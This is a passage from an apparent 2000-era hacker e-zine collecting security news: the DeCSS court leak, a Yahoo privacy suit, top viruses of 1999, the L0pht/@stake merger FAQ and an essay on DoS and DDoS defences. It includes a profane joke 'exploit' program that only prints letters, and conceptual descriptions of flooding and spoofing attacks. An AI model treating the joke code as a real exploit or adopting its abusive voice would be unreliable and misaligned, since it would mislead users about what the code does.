scheme likely would not have been penetrated.
Elfving granted an injunction last Friday, ordering 21 defendants to stop
posting DeCSS software -- which allows compressed video images to be
copied from a DVD disc onto a hard drive -- on their Web sites.
The blunder won't help the DVD CCA attorneys in their as-yet quixotic
quest to rid the Net of DeCSS. The entertainment industry frets that such
programs could eventually allow widespread piracy of movies.
One California litigator who specializes in Internet and intellectual
property cases says the boner won't derail the DVDCCA's lawsuit filed last
month in state court.
"The fact that these lawyers inadvertently filed with the court the source
code and that made it a public document does not have a [substantial
impact]," says Megan E. Gray, a lawyer in the Los Angeles office of Baker
and Hostetler.
Gray said the biggest effect might be to mute the rhetoric of DVD CCA
lawyers. "It's difficult to say it's an outrage ... when you yourself have
contributed to public disclosure. It undermines your credibility," Gray
said.
Making an already difficult task even more tricky for DVD CCA lawyers is
that both the four-page CSSscramble source code and the DeCSS utility have
been mirrored by dozens -- perhaps hundreds -- of Internet users in a kind
of global keep-away game.
Activists outside a hearing even distributed copies of CSSscramble to
people outside the courthouse, prompting a DVD CCA attorney to enter the
document into official court records.
Jeffrey Kessler, the plaintiff's lead attorney from Weil, Gotshal and
Manges, told the judge at the time that CSSscramble was a trade secret and
should be confidential.
"I don't want to endanger their trade secret status by putting them in the
public record," Kessler said, according to a transcript.
He did not immediately return phone calls.
One of his colleagues separately asked that a defense exhibit with
CSSscramble be placed under seal. "DVD CCA requests the court place the
[declaration] under seal to avoid placing this information in the public
record," Jared Bobrow wrote in a six-page brief on 9 January.
But both forgot about the DVD CCA president's exhibit -- that included
CSSscramble -- until this week.
"We still haven't waived our arguments that it has been entered into
public domain and trade secret protection has been waived by the other
side. We're going to pursue that," said Robin Gross, staff attorney for
the Electronic Frontier Foundation, which is representing some of
the defendants.
"It threatens their case against the [DeCSS] utility. Their argument is
that this information is highly protected trade secrets and they go
through all the extremes to make sure the protection is in place," Gross
said. "Our position is that they've waived trade secret protection
from entering this into the public domain."
Gross said EFF had not decided whether to appeal the preliminary
injunction or ask for a trial.
@HWA
64.0 HNN: Jan 27: Yahoo May Be Violating Texas Anti-Stalking Law
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
Universal Image, a Dallas based educational video
provider, filed a $4 billion lawsuit against Yahoo and its
Yahoo Broadcast unit last December. The suit alleges
that Yahoo violated state law through the use of
cookies that can be used to track surfers around the
web and may violate the Texas anti-stalking law.
C|Net
http://news.cnet.com/news/0-1005-200-1533164.html?tag=st.ne.1002.bgif.1005-200-1533164
Texas company accuses Yahoo of privacy violations
By Bloomberg News
Special to CNET News.com
January 26, 2000, 4:45 p.m. PT
DALLAS--Yahoo has been accused by closely held Universal Image of violating
Texas' anti-stalking law by allegedly tracking computer users' every movement
on the Internet without their consent.
Universal Image, which does business as Chalkboardtalk.com on the Web, made
the claim as part of a $4 billion lawsuit against Yahoo and its Yahoo
Broadcast unit. Dallas-based Universal Image, an educational video provider,
filed the suit in December.
Universal Image has asked a Dallas judge to declare that Yahoo violated state
law through the use of "cookies"--files attached to the computer of an Internet
user that collect such information as names and addresses, Universal Image's
attorneys said.
The lawsuit "concerns the right of privacy of every Internet user in America,"
said Larry Friedman, an attorney for Universal Image.
A Yahoo representative declined comment.
Copyright 2000, Bloomberg L.P. All Rights Reserved.
@HWA
65.0 HNN: Jan 27: Data From Probes of Takedown.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by William
The web site for John Markoff's book Takedown is an
obvious target for online vandals. A histogram of attack
attempts to www.takedown.com has been released that
correlates intrusion attempts and real-world events.
National Partnership for Advanced Computation Infrastructure
http://security.sdsc.edu/incidents/
Takedown.com
http://www.takedown.com/
FREE KEVIN
http://www.freekevin.com/
66.0 HNN: Jan 27: Top Ten Viruses of 1999
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by nvirB
Anti-virus software firm Sophos has released its list for
the top ten viruses of 1999. Form, a virus almost ten
years old, makes it to number 9 on the list and six of
the ten are word macro viruses. (Does anyone really
use macros for anything other than viruses?)
Sophos.com
http://www.sophos.com/pressoffice/pressrel/uk/20000125virusreport.html
BBC
http://news.bbc.co.uk/hi/english/sci/tech/newsid_619000/619687.stm
Sophos:
(Article unavailable, host was not responding - Ed)
BBC;
By BBC News Online's Damian
Carrington
An analysis of the most common computer viruses of 1999 shows that
although the threat of new self-propagating viruses is growing, older
viruses are still very common.
One boot sector virus, Form, is nearly a decade old but still appears in
the top ten. The table was compiled by anti-virus software firm
Sophos, based on thousands of calls for help to the company.
The three self-propagating viruses were
Melissa,
ExploreZip
and
Ska-Happy99
which forward themselves by hijacking a computer's email program. This
means that instead of taking months to spread into the wild, these
viruses have the potential to attack globally within days.
However, Graham Cluley, senior technology consultant for Sophos,
believes that old viruses still pose a major threat: "Some viruses become
so common, they will never become extinct - they will always lurk on a
floppy disk in someone's drawer.
"Also, people may be aware of the latest scare but not the background
threat. It's difficult to get people excited about old threats."
Spreading out The most reported virus in 1999 was a macro virus called
Laroux and was first detected in early 1996. Unusually for a widespread
macro virus, Laroux infects Excel spreadsheets rather than a Word
document.
"It may be that people are getting quite cautious about opening documents,
as they may have been hit by that before, but are not so used to the threat
of spreadsheets," says Mr Cluley. According to Mr Cluley, the key to
long-lived viruses is being virtually invisible. "Viruses which jump up and
down with very destructive payloads draw attention to themselves and
effectively kill themselves off, like lemmings.
"Form does nothing, it just spreads, although it still causes damage by using
up system resources."
Silent but deadly
Whilst having your hard disk wiped by a virus may seem the computer equivalent
of Armageddon, many companies and individuals keep back-up copies of
information. Some of the most damaging viruses are not destructive at all,
says Mr Cluley.
"Some, like Melissa, can forward documents to e-mail addresses stored on
your computer - highly confidential information has leaked from companies in
this way," he says.
And "data diddler" viruses exist which make subtle changes to data in a spread
sheet. "If those are your company results, it could be very embarrassing," he
adds.
The year 2000 will see hoax viruses - email warnings of non-existent viruses -
continue to cause enormous problems believes Mr Cluley. "In a way they are far
more damaging than real viruses as they set off e-mail hurricanes and you can't
disinfect a hoax.
"We had far more people seeking information on a hoax about a game
involving Santa and his elves than any real virus."
Finally, Mr Cluley and other anti-virus experts are awaiting the sentencing in
February of David L Smith, who pleaded guilty to distributing the Melissa macro
virus and admitted causing more than $80m damage to North American
companies.
"We are rather hoping that, depending on what the sentence is, it may send out
a message to virus authors that this isn't cool and the authorities are prepared
to pursue you."
@HWA
67.0 HNN: Jan 27: French Eavesdrop on British GSM Phones
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Cryptome
FRENCH intelligence has invested millions in satellite
technology so that it can intercept British businessmen's
wireless GSM telephone calls. The French government
upgraded signals intelligence last year. Now secret
service agencies are using the technology to listen in to
commercial secrets. At least eight centers, scattered
across France, are being "aimed" at British defense
firms, petroleum companies and other commercial
targets.
Sunday Times
http://www.sunday-times.co.uk/news/pages/Sunday-Times/stinwenws03006.html?999
( 404 - they've moved it or eaten it or something, couldn't find it - Ed)
@HWA
68.0 So wtf is the deal with l0pht and @stake? here's the FAQ jack.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
For those of you that need things spelled out for you ($$$) here's
what happened with l0pht and @stake ($$$) - Ed
L0pht/@Stake Merger FAQ
1. Is it true? Did L0pht Heavy Industries actually merge with @Stake?
2. Why did you do it? You seemed to have a perfect club-house
environment.
3. So, how's the cultural fit with @Stake? How do the L0pht's values fit
in there?
4. So what's going to happen to the old L0pht space you were in?
5. And what about the webpage? Is it going to go away? Is it going to
be put on 'atstake.com'?
6. What exactly is L0pht doing over at @Stake? Are you consulting now?
7. What's going to happen to all the advisories? Are you still going
to publish them?
8. Are you still going to sell L0phtCrack? And AntiSniff? Will there be
new versions?
9. What's the deal with Hacker News Network anyway? Is that actually part
of L0pht, and was it picked up by the merger?
10. How does it feel working with a bunch of business stiffs?
11. What are the financial makings of this merger?
12. You talk about 'Strategic Security Solutions' on the @Stake webpage,
and you talk about being truly 'vendor-neutral'... isn't that what
everyone else is doing? What makes @Stake different?
Explain in small words. (Yeah we're all dumb fuckers out here, - Ed)
13. I don't trust hackers like you. Why should I?
14. Are you still going to get drunk and rant at cons? What about your
'professional image'?
15. Are you hiring? Can I be a L0pht Member?
16. Does @Stake have an open-door policy?
17. Are you still going to the MIT Swapfest and selling funky stuff?
18. Are you still using your handles? Or are you going to use your
real names now?
19. What's up with Guerilla Net? Are you guys still doing hardware
projects over at @Stake?
20. Will you be coming out with any more T-shirts?
1. Is it true? Did L0pht Heavy Industries actually merge with @Stake?
YES. L0pht Heavy Industries was incorporated, had employees on the
payroll, and sold software products and consulting services. In
short, we were a real company and had been operating that way for a
couple years. L0pht Heavy Industries legally merged with @Stake in
the beginning of 2000 so we are all one company now. The new company
will go by the name of @Stake.
2. Why did you do it? You seemed to have a perfect club-house
environment.
We strived to be (and achieved) a pure R&D environment.
Unfortunately pure research and development is not a very profitable
arena. In addition, one needs business people, sales and
productization of services. So, while we tried to keep the research
and fun environment we were fighting a losing battle in making ends
meet.
To summarize, we had problems scaling. Everyone was spending more
money and effort doing less research and experiments. The L0pht
wanted desperately to avoid having to compromise our goals and
ideals which would have happened if we had continued to go the route
we were. The solution was obvious. We needed to find an organization
that valued the R&D work that we did, could benefit from it, profit
from it, and enable us to keep contributing to the community.
We feel very fortunate in having come across such people in @Stake.
We see this as a win-win situation where we will be able to do a lot
of the research that we were unable to do while just being the
L0pht. We also feel very fortunate in finding an organization that
did not expect us to about-face in the way we approach sharing our
findings with people.
3. So, how's the cultural fit with @Stake? How do the L0pht's values fit
in there?
Here is a PARTIAL list of components that we find work very well
with our VALUES and make us very comfortable about the merger:
@Stake is aiming to be completely product / vendor neutral.
This enables them to make the best design decision and
recommendations possible to the customer without unknown
biases. This is accomplished in the following ways:
@Stake will not take commissions / kick-backs from product
vendors for recommending a product into a customer. @Stake
is in the business of providing strategic services rather
than tactical ones. What this means is that they see the
benefit in helping design / implement solutions with
security and functionality from the beginning rather than
looking for known problems and helping to only remediate
them when they could have been avoided all together.
@Stake will not sell products. Thus they do not have
customers being worried that they will recommend their own
product even if it might not be the best solution. What
this means to us is that we get to continue coming out
with tools and programs but are forced to give them away
for free! How cool is that! We are completely non-biased
in our opinions of products and technologies, and we are
able to continue our experimentation and
reverse-engineering of such. This also allows us to
continue our "consumer reports"-style announcements,
papers and research.
@Stake is committed to a strong research and development leg as
a method of always being a leader and not just a follower.
@Stake wants smarter customers rather than dumber ones in the
community. By helping to educate everyone as much as possible
it not only helps differentiate the company but allows more
interesting and thorough solutions to be deployed for
customers. This is the same belief that the L0pht has always
held.
4. So what's going to happen to the old L0pht space you were in?
We still have the space. Some of the hardware projects that were
going on over there are just not practical to move. We are also
setting up new lab space that has many of the things that we could
not manage at the old location.
5. And what about the webpage? Is it going to go away? Is it going to be
put on 'atstake.com'?
Not in the immediate future. There will obviously be a period of
time before we manage to fully integrate everything. As was stated
in a previous response one of the reasons we embarked upon this
merger is due to the like-minded beliefs. So, when the two web sites
finally merge you can expect to find the same sort of information
that is currently published in an even better format. It might even
be that they stay as individual web sites, one focusing more on R&D
and the other on business angles. What it boils down to is that you
can expect some changes but the main focus will be quite similar to
what it currently is.
6. What exactly is L0pht doing over at @Stake? Are you consulting now?
The L0pht forms the nucleus of the Research and Development group in
@Stake. By continuing to push the envelope in security research we
can help productize new services to the consulting and business legs
of @Stake.
7. What's going to happen to all the advisories? Are you still going to
publish them?
The L0pht will continue to publish advisories. This will not change.
The L0pht never did and never will publish an advisory based upon
insider information that would betray someones trust. However, we
will continue to act as a Consumer Reports style organization in
posting our general findings through analysis and evaluation as
general customers reviewing software.
We still beleive in Full-Disclosure in our advisories. We are also
happy that we will be better able to work with companies in giving
them advance notice before posting publicly to the world.
8. Are you still going to sell L0phtCrack? And AntiSniff? Will there be
new versions?
Since @Stake is purely a consulting services company, it did not
acquire the products that were sold commercialy from the L0pht.
L0phtCrack and AntiSniff are being moved to a holding company
independent of @Stake and will continue to be sold. We will be
donating the proceeds (after operational expenses) to non-profit and
educational organizations.
The free versions will continue to be free and include source code.
A new version of L0phtCrack was 95% complete at the time of the
merger. The authors will probably finish the last bit and release
L0phtCrack 3.0 but the schedule is uncertain.
A Linux version of the researchers version of AntiSniff is underway
and will be released under the same free researchers license that
the command line AntiSniff currently has.
9. What's the deal with Hacker News Network anyway? Is that actually part
of L0pht, and was it picked up by the merger?
Hacker News Network was run by l0pht employees on l0pht equipment so
it certainly was a part of l0pht. We feel it provides a valuable
news source to the security community so it will continue to operate
as part of @Stake. We expect to be able to spend more time and
resources in making it an even better resource for the community.
10. How does it feel working with a bunch of business stiffs?
@Stake is definitely not populated with a bunch of business stiffs.
One of the reasons L0pht merged with @Stake was the quality of the
people there. They understand our vision of computer security. Some
of them would even be considered hackers exactly the same way we
think of ourselves as hackers.
Things are a bit more businesslike at the merged company but the
place is a place that values openness, diversity, creativity,
thinking outside of the box, and coming up with non-conventional
solutions.
11. What are the financial makings of this merger?
@Stake is not a publicly traded company right now and as such we are
not able to give those details. We are happy to say that the main
impetus for the merger was the ability to engage in much more
grandious research work and not compromise our morals in the
process. We started into this field in order to learn, educate, and
contribute and are happy to say that we should only be able to do
this things even better now.
12. You talk about 'Strategic Security Solutions' on the @Stake webpage,
and you talk about being truly 'vendor-neutral'... isn't that what
everyone else is doing? What makes @Stake different? Explain in small
words.
The answer to question #3 should help on the vendor-neutral aspect
being more than just lip service.
As for the 'Strategic Security Solutions' this is similar to how the
L0pht always handled customers. An example in the software world
between tactical and strategic might help: Problem: A buffer
overflow was found in a section of code. The offending call was the
unbounded strcpy(). Tactical approach: Replace that particular
strcpy() call with the bounded strncpy(). If a similar problem is
found elsewhere later on fix that one after it is reported. Repeat
as necessary. Strategic approach: From the design point help model
with security involved. Use bounded string functions to remove that
class of future problems. Obviously the above is just an example of
the way we see tactical being different from strategic approaches.
This is how we view all projects be they in the infrastructure,
content, operational, network, etc. fields. It also does not
preclude us from implementing tactical solutions as necessary but
the main focus is enabling, not only reacting.
13. I don't trust hackers like you. Why should I?
We call ourselves hackers using the original, positive meaning of
the word. A good definition can be found in Eric Raymond's Hacker's
Dictionary. We think hackers have higher ethical standards than most
in the business world. We do not do anything illegal with our
computers or anyone else's. We get our kicks finding and solving
security vulnerabilities in products and technologies using our own
networks, hardware, and other resource. This is the way we have
always operated and that is the way we will continue to operate. If
you can't relate to this, then you should probably reinvestigate the
meaning of the word 'hacker'.
14. Are you still going to get drunk and rant at cons? What about your
'professional image'?
We will continue to be involved in conferences the way we always
have. Don't you think that if @Stake had told Mudge he would not be
able to have a beer with his friends and talk about crypto-systems
that would have been a show stopper for the merger right there?
15. Are you hiring? Can I be a L0pht Member?
We are definitely hiring. We cannot thrive and be the leader in
security without the best people on the planet. Submit your resume
to jobs@atstake.com if you are interested. We want to work with the
best and you probably do, too. If you have top notch security skills
in consulting or research we urge you to apply. That being said, we
cannot accept everyone that applies but will do our best to make
sure everyone gets a fair shake.
The L0pht is fully integrated with @Stake so there is no seperate
group of people called "L0pht Members". We are proud to call
ourselves members of the @Stake team. We will now be known as 'The
Hackers Formerly Known As The L0pht', or perhaps some unpronouncable
symbol.
16. Does @Stake have an open-door policy?
@Stake operates in a similar fashion to most other professional
service organizations. The reason we went to the closed door policy
at the L0pht was to enable ourselves to get work done and not just
have the place be a local hang-out for people wanting to kick back
with a beer and watch TV. While we will be more accesible at @Stake,
we are there to do R&D work and as such it will continue to not be
an open-door-hangout type environment.
Keep in mind, however, that L0pht has not had a true open-door
policy for many years. At our original location, the L0pht was more
of a club-house and place for general hanging-out of hackers from
around the world. When we moved to our new location and decided to
do real research and provide to the community, the L0pht was not
open for everybody. We occasionally gave tours and threw parties,
but the space was not open for visitors 24 hours a day.
17. Are you still going to the MIT Swapfest and selling funky stuff?
We will still be going to the MIT Swapfest to see people and pick up
various things. We hope we won't have to sell our scraps at it
anymore in order to make ends meet :) However, as most people going
to the MIT flea, we will also want to "upgrade our junk pile". We
will be selling, just not every month as in the past.
18. Are you still using your handles? Or are you going to use your real
names now?
We have been using our handles for over 10 years now. It is what we
have published under in academic journals, magazines, books, given
training courses under, and provided recommendations to the US
Senate under. As such they are as much our recognized names in the
security community and we will continue to use them. Many companies
seem to be scared of doing business with people using pseudonyms or
handles. This is a problem that we would like to solve. We are not
really hiding from anyone, but this is how we've been known for a
long time, and for some, is what our parents call us. We hope to
educate those companies by showing them that its not the name that's
important, rather the information and services that can be provided.
19. What's up with Guerilla Net? Are you guys still doing hardware
projects over at @Stake?
@Stake has committed to enabling the R&D labs to work on hardware
related projects as well as protocol and software ones. We see an
ultimate marriage between all of these areas as technology is
progressing and would be remiss if we turned a blind eye towards any
of them.
20. Will you be coming out with any more T-shirts?
The T-shirts were fun little projects that we did more out of
amusement than anything else. Should the opportunity and inspiration
strike again we would not rule out the possibility of
coming out with some new designs.
@HWA
69.0 Anti-Offline releases majorly ereet 0-day script kiddie juarez!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Feb 12th (or in around there, something like that, check the site
and YEH it is a joke, just in case any AOL admins are looking at
the code *g* - Ed )
<snip>
/*******************************************
* ANTIOFFLINE INTRODUCES SCNEWH0RE v6.9 *
* coded by sil@antioffline *
* Don't try this at home script kiddies *
* Elite shouts to Kevin Mitnick who we *
* hope someday goes back to jail so we *
* could have a reason 2 0nw0r1z3 websites *
* again. Tested on RedCrap AOL Linux 6.1 *
* gcc filename.c -o f00name && ./f00name *
*******************************************/
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include "pthread.h"
void * process(void * arg)
{
int i;
/* INSERT uberleet cursing... makes luzers fear us */
fprintf(stderr, "Starting pimpage biAtch %s\n", (char *) arg);
for (i = 0; i < 10000; i++) {
write(1, (char *) arg, 1);
}
return NULL;
}
int main(void)
{
int retcode;
pthread_t th_a, th_b;
void * retval;
// insert a shitload of comments
// these don't make sense but when people
// see them, they will know we are ejeet
// they will fear our 45535!@#$*
retcode = pthread_create(&th_a, NULL, process, (void *) "s");
if (retcode != 0) fprintf(stderr, "create s failed asshole %d\n", retcode);
/* insert more shit to make this bitch longer */
retcode = pthread_create(&th_b, NULL, process, (void *) "c");
/* gn0 your role */
if (retcode != 0) fprintf(stderr, "create c failed too moron %d\n", retcode);
retcode = pthread_create(&th_b, NULL, process, (void *) "e");
if (retcode != 0) fprintf(stderr, "create e is fucked up too %d\n", retcode);
retcode = pthread_create(&th_b, NULL, process, (void *) "n");
if (retcode != 0) fprintf(stderr, "create n is also fucked up %d\n", retcode);
retcode = pthread_create(&th_b, NULL, process, (void *) "e");
if (retcode != 0) fprintf(stderr, "your a dipshit jackass %d\n", retcode);
retcode = pthread_create(&th_b, NULL, process, (void *) "w");
if (retcode != 0) fprintf(stderr, "learn to compile scriptkiddie %d\n", retcode);
retcode = pthread_create(&th_b, NULL, process, (void *) "h");
if (retcode != 0) fprintf(stderr, "AntiOffline 0wns your ass %d\n", retcode);
retcode = pthread_create(&th_b, NULL, process, (void *) "0");
if (retcode != 0) fprintf(stderr, "Hope you don't make a living off this %d\n", retcode);
retcode = pthread_create(&th_b, NULL, process, (void *) "r");
if (retcode != 0) fprintf(stderr, "your almost finished fucking things up %d\n", retcode);
retcode = pthread_create(&th_b, NULL, process, (void *) "e");
if (retcode != 0) fprintf(stderr, "stick to hax0ring hotmail fuckwad %d\n", retcode);
return 0;
}
<snip>
@HWA
70.0 HNN: Jan 31: MS Issues Security Patch for Windows 2000
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by acopalyse
The newest version of the windows operating system,
technically still in beta and not scheduled for release
until February 17, 2000, has a major security hole.
Microsoft has been quick to issue a patch for the hole
that allows web surfers to view files stored on a
targeted web server. The problem lies with Microsoft
Index Server which is built into Windows 2000. At least
six banks and three major computer manufacturers have
been effected by the bug. (What the hell are they doing
using beta software on production systems anyway?)
ZD Net
http://www.zdnet.com/zdnn/stories/news/0,4586,2429334,00.html?chkpt=zdnntop
MSNBC
http://www.msnbc.com/news/363355.asp
@HWA
71.0 "Have script Will destroy" - a buffer overflow article
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
This article uses purty graphical pikturez so you may want to check the
original site.
Have Script, Will Destroy (Lessons in DoS)
By: Brian Martin
I began writing this article almost one year ago, after the onslaught of
smurf attacks being launched against various networks throughout the
Internet. At the time, the newly discovered Denial of Service (DoS) attack
was a crippling tool designed for one purpose; remotely disabling machines
by flooding them with more traffic than they could handle. The smurf
attack was the first well known (and well abused) DoS attack that could
effectively cripple any network, regardless of size or bandwidth. This
presented a new problem to network administrators and security personnel
worldwide.
The LowDown
Also known as Network Saturation Attacks or Bandwidth Consumption Attacks,
the new breed of DoS attacks flood a remote network with an staggering
amount of traffic. Routers and servers targeted would go into overdrive
attempting to route or handle each packet as it came in. As the
network receives more and more of these illegitimate packets, it quickly
begins to cause legitimate traffic like web and mail to be denied. In
minutes, all network activity is shut down as the attack consumes all
available network resources.
Prior to bandwidth consumption attacks, most DoS attacks involved sending
very few malformed packets to a remote server that would cause it to
crash. This occured because of bugs in the way many servers handled the
malformed packets. Malformed packets (also known as Magic Packets)
consisted of network protocol options that were out of sequence,
improperly matched, or too large. As a result, a server receiving these
packets had no rules or guidelines dictating how it should behave when
processing the malformed packet. The result was a system panic or crash
that would basically shut the machine down or force it to reboot. Perhaps
the most well known example of this type of attack is the WinNuke attack.
Regardless of ethics or motives, Magic Packet DoS attacks showed an
inkling of grace in their execution. A single packet sent from one server
to another, causing it to crash or reboot was a targeted attack. The
precision with which this type of attack is carried out is analogous
to a scalpel in surgery. Network consumption attacks on the other hand
involve millions of packets. Worse, once launched the attack was no
respector of those standing between the launch point and the target
network. Often times thousands of customers sharing bandwidth with the
target would be adversely affected as well. A single attack of this nature
had the ability to knock thousands of machines off the Internet in a
single swoop. Such attacks are the equivalent of using a broadsword to do
surgery.
The Next Generation
Attacks like the smurf DoS have a cascading affect that can be seen as a
virtual avalanche. The starting point is nothing more than a few pebbles
and snowballs (packets). As they travel downhill (along the path of
routers to the target), they accumulate more mass and trigger the
release of more pebbles. By the time the falling material hits the bottom
of the mountain (the target), it is swamped in large amounts of snow and
rocks. Despite the effectiveness of this attack, there is a single point
from which the attack is launched. If an attack is detected early enough,
it is possible to filter out the offending packets before they leave the
original network.
The next generation of Denial of Service attacks are known as Distributed
Denial of Service (DDoS) attacks. Expanding on the idea of network
saturation attacks, DDoS effectively does the same thing but utilizes
several launch points. The philosophy and objective of this is
twofold. First, if a single machine being used to launch an attack is
discovered and disabled, the overall attack proceeds with near full force.
Second, by utilizing several launch points on different networks, an
attacker is able to shut down larger networks that might not otherwise be
affected by a single flood.
Taking Down the Big Boys
Prior to launching this form of DDoS flood, the attacker must first
compromise various hosts on different networks. The more networks and
machines used as launch points, the more potent the attack. Once each host
had been broken into, they would install a DDoS client program on
the machine that would sit ready to attack. Once the network of
compromised servers was configured with the new client program, the
attacker could send a quick command from the DDoS server software
triggering each machine to launch an attack.
[chart comparing 56k vs cable vs t1 vs t3] Until this last wave of
DDoS attacks, it was generally assumed that hosts residing on large pipes
(connections with incredible bandwidth) could not be seriously affected by
network saturation attacks. As large Internet Service Providers (ISPs) are
finding out, this is no longer the case. By using several smaller network
connections, an attacker can eventually saturate the biggest ISPs and
consume all of their bandwidth. This was demonstrated most effectively
with the eBay, Amazon, Buy.com and other large scale web sites.
Difficulty in Tracking
Neophytes to networking always seem to question why these attacks are not
tracked down, and the legs of the perpetrator not broken. It is a rare
case to see ISPs interested in tracking down the individual(s) behind
these attacks. Rather than take the time and effort to perform an
investigation (which is lenghty), most ISPs realize that a quick filter
denying ALL traffic to the site being attacked is a better solution. In
essence, the ISP does the job of the person launching the attack and does
it much more effeciently. As you can imagine, that is not exactly a
deterrent for those committing these attacks.
One of the primary reasons investigations of DoS attacks is lengthy is it
involves tracking down the packets hitting the target. Rather than leave
the launch point with the IP address of the machine actually being used,
the packets are tagged with forged source IP addresses. Since the IP
information in each packet varies wildly, and since the addresses can not
be trusted, a network administrator must trace the packets back to the
source one router at a time. This involves connecting to the router (often
times this must be done at the physical console for security reasons),
setting up a filter or sniffer to detect where the packets are coming from
before arriving at that particular router, and then move to the new
offending router. This presents problems when you consider a single packet
may cross as many as thirty routers owned by ten different companies.
The act of forging the source IP of a packet is called IP Spoofing and is
the basis for a wide variety of network attacks. One of the original
intentions of a Denial of Service attack was to knock a machine off the
network in order for you to assume it's identity. Once you
masquerade as that machine, it is possible to intercept traffic intended
for it as well as gain access to other machines on the target network via
trusted host relationships. Attackers today seem to have lost all focus on
the reason one would committ a DoS attack.
Save The Day Already!
Denial of Service attacks are not new. They have existed in one form or
another since computers were invented. In the past they involved consuming
resources like disk drive space, memory or CPU cycles. Those not familiar
with how computers operate often scream for quick solutions to the
various DoS attacks that plague our networks. Unfortunately, this is
easier said than done.
Every weekday morning and afternoon millions of Americans go to and from
work. They pile on to two and four lane freeways only to move at a crawl.
Travelling ten miles in one hour is a common occurance for those fighting
rush hour traffic in heavily trafficed areas of business districts
in cities across the nation. Every day they carry out this ritual,
screaming and cursing the thousands of other drivers clogging the roads,
and day after day the problem does not fix itself. Be it packets or cars,
it is very well established that enough of either will overcrowd a road or
network connection. At a given point, too many of either will bring all
traffic to a standstill. Why isn't the traffic problem solved? We all know
the solution is bigger and better roads, more carpooling, diverse
schedules, and more common sense when behind the wheel. Fat chance that
will happen anytime soon. On the flip side, it is very unlikely that they
will fix every router on every network and install mechanisms to help
avoid network saturation attacks.
In the long run, it is a rather simple fix that could help eliminate these
attacks. Any network device that accepts or passes network traffic can be
designed to monitor activity better. If a web server is receiving too many
hits, it starts rejecting new connections so that existing
connections can still view pages or interact with the site. This practice
is called throttling or bandwidth limiting and is designed to prevent
excessive connections, conserve resources and keep things operating
correctly. Unfortunately, this philosophy has not carried over to routers
(the machines that pass all internet traffic) so network consumption
attacks go on unchecked. A relatively few amount of networks have learned
this is a good solution to flood attacks. As such, their routers are
designed to monitor traffic and quit passing illegitimate traffic once
detected. The problem with this approach is that once the flood of packets
have hit the remote network, the damage is done. The downside to this
mechanism is the added latency as the router checks each and every packet
that passes through it. Because of this slowdown, ISPs hesitate
implementing this solution.
In order to make connection throttling effective, every network router
should have this mechanism implemented. This would allow a router close to
the source of the attack to detect the illicit traffic and put up a filter
that rejected it before it left the launch point. This invariably
leads to the question "How do you know if traffic is illegitimate?"
Looking back to the section on IP spoofing, we can easily create a quick
solution to the problem. In fact, this mechanism is found in most
Firewalls implemented today.
In the diagram above, we show a forged packet with the IP address of
150.23.83.44. It stands to reason that such a packet would not
legitimately be travelling around a network designated by the 1.2.3.x
subnet. Because of this, any router on that network (especially the
one acting as a gateway to the outside world) receiving that packet should
drop it. Instead of blindly passing the packet on without question,
routers should discriminate against suspicious packets by refusing to pass
them on to the next router and setting off some kind of alarm for the
administrator.
A second mechanism can be put into place that would help cut down on these
attacks. On any given day, there is an average amount of traffic passed
through any router. By monitoring these averages and applying other common
sense rules, routers could be made to throttle heavily increased
traffic. For example, if a router detected a sudden surge in traffic to a
destination machine in which every packet claims to originate from a
different IP address, that is a good sign of a saturation attack using
spoofed packets. Rather than pass that traffic down the network, the
router should throttle the traffic to avoid the likely flood that will
ensue.
As stated many times before, easier said than done. Implementing these
features falls on the many vendors of routers. Using these routers on
production networks on the open Internet is up to the tens of thousands of
companies maintaining a presence on the Internet. These upgrades
cost time and money, something companies hesitate to invest; until the
first time they are on the receiving end of such an attack. Like most
security incidents, companies tend to implement reactive security
measures, rarely proactive measures.
Why Ask Why?
Somewhere along the way, everyone wants to know why such attacks are
carried out. Using the recent series of attacks against Yahoo, eBay and
others is just as good example as any. To quash the distant hopes of a
reasonable explanation, "There is no good reason!".
Consider that your typical DDoS attack affects hundreds (if not thousands)
of machines, on a wide variety of networks. The single purpose of the
attack is to cripple or shut down the target site so that it can not
receive legitimate traffic. There are only a handful of reasons for
doing it at all, none of which are reasonable or justifiable. In other
words, DoS attacks are worthless and childish.
The first reason with perhaps the longest history is simple revenge. Some
site out there wronged you in some way. Perhaps they spammed you, stopped
hosting the free web pages they provided for you, fired your father or
committed some other transgression. DoS attacks are a form of
virtual revenge, especially against companies doing business over the
Internet. The primary argument here is that these attacks cause problems
for a number of ISPs, other customers who share bandwidth with the target,
as well as the satisfied customers of the site. This goes back to the
broadsword vs scalpel analogy.
The second reason has become rather trendy with novice script kiddies,
second rate web page defacers, and those under the illusion they are part
of the professional security community. "I did it to prove the system was
vulnerable!" This is perhaps the most pathetic justification for
launching a DoS attack. To many, this is no different than the attacker
setting off a large nuclear device right next to a corporate server and
then proclaiming "See! This can impact your operations!" Of course it can,
this has been proven a hundred times over.
The third reason I can come up with falls back to playground rules. "If I
can't play kickball, I'll throw the ball on the roof so no one else can
play either!" This third grade mentality is far from justification of such
attacks. Those wishing to exact some form of punishment against a
site should consider the diminished intellect required to launch these
attacks. There are better ways to deal with mean companies.
My Rant
Three types of people deserve the brunt of harsh insults and petty name
calling. Each are responsible for this problem plaguing Internet users,
and each could do their part to help stop it.
Each individual that carries out a DoS attack does so knowing full well
what it could result in if they are caught. Practically nothing. There is
precious little to deter someone from carrying out such vicious attacks.
The very few times administrators put effort into tracking down a
malicious user it results in them getting ousted from the ISP. The next
